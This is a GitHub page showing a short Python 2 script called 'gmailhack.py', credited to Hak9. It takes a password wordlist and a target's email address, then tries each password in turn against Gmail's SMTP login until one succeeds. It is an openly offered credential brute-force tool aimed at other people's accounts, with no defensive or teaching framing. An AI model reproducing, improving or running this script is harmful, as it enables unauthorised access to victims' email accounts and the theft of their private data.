-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathgmailhack.py
44 lines (40 loc) · 1.87 KB
/
gmailhack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
# Made By Hak9 #
# http://www.youtube.com/c/Hak9xx #
######################################################
print ("###############################################################################")
print ("# #")
print ("# create by Hak9 #")
print ("# #")
print ("# GmailHack #")
print ("# #")
print ("# #")
print ("# https://github.com/xHak9x #")
print ("# http://www.youtube.com/c/Hak9xx #")
print ("###############################################################################")
#######################################################################################################
import smtplib
######################################################################################################
file_path = raw_input('Path of Password File :')
passwfile = open(file_path,'r')
pass_lst = passwfile.readlines()
def login():
i = 0
usr = raw_input('What is the targets email address :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for passw in pass_lst:
i = i + 1
print str(i) + '/' + str(len(pass_lst))
try:
server.login(usr, passw)
print '[+] Password Found: %s ' % passw
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
print '[+] Password Found: %s ' % passw
break
else:
print '[!] Password Incorrect: %s ' % passw
login()